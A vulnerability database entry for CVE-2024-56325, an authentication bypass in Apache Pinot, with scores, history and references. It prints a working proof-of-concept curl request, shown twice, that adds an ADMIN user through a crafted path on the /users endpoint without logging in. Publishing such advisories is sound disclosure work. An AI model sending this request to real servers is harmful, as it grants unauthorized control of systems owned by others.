Description
Authentication Bypass Issue

If the path does not contain / and contain., authentication is not required.

Expected Normal Request and Response Example

curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users


Return: {"code":401,"error":"HTTP 401 Unauthorized"}


Malicious Request and Response Example

curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; .


Return: {"users":{}}





A new user gets added bypassing authentication, enabling the user to control Pinot.
Published: 2025-04-01
Score: 9.8 Critical
EPSS: 17.4% Moderate
KEV: No
Impact: n/a
Action: n/a
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Advisories
Source ID Title
EUVD EUVD EUVD-2025-9317 Apache Pinot Vulnerable to Authentication Bypass
Github GHSA Github GHSA GHSA-6jwp-4wvj-6597 Apache Pinot Vulnerable to Authentication Bypass
History

Wed, 16 Jul 2025 13:45:00 +0000

Type Values Removed Values Added
Metrics epss

{'score': 0.05128}

 epss

{'score': 0.04959}

Tue, 15 Jul 2025 20:00:00 +0000

Type Values Removed Values Added
First Time appeared Apache
Apache pinot
CPEs cpe:2.3:a:apache:pinot:*:*:*:*:*:*:*:*
Vendors & Products Apache
Apache pinot

Fri, 18 Apr 2025 15:15:00 +0000

Type Values Removed Values Added
Metrics cvssV3_1

{'score': 9.8, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H'}

ssvc

{'options': {'Automatable': 'yes', 'Exploitation': 'none', 'Technical Impact': 'total'}, 'version': '2.0.3'}

Tue, 01 Apr 2025 10:45:00 +0000

Type Values Removed Values Added
References

Tue, 01 Apr 2025 09:15:00 +0000

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Description Authentication Bypass Issue If the path does not contain / and contain., authentication is not required. Expected Normal Request and Response Example curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users Return: {"code":401,"error":"HTTP 401 Unauthorized"} Malicious Request and Response Example curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; . Return: {"users":{}} A new user gets added bypassing authentication, enabling the user to control Pinot.
Title Apache Pinot: Authentication bypass issue. If the path does not contain / and contain . authentication is not required
Weaknesses CWE-288
References

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Apache Pinot
cve-icon MITRE

Status: PUBLISHED

Assigner: apache

Published:

Updated: 2025-10-27T17:11:08.160Z

Reserved: 2024-12-19T14:28:37.532Z

Link: CVE-2024-56325

cve-icon Vulnrichment

Updated: 2025-04-01T10:03:56.094Z

cve-icon NVD

Status : Analyzed

Published: 2025-04-01T09:15:15.240

Modified: 2025-07-15T19:49:46.407

Link: CVE-2024-56325

cve-icon Redhat

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Weaknesses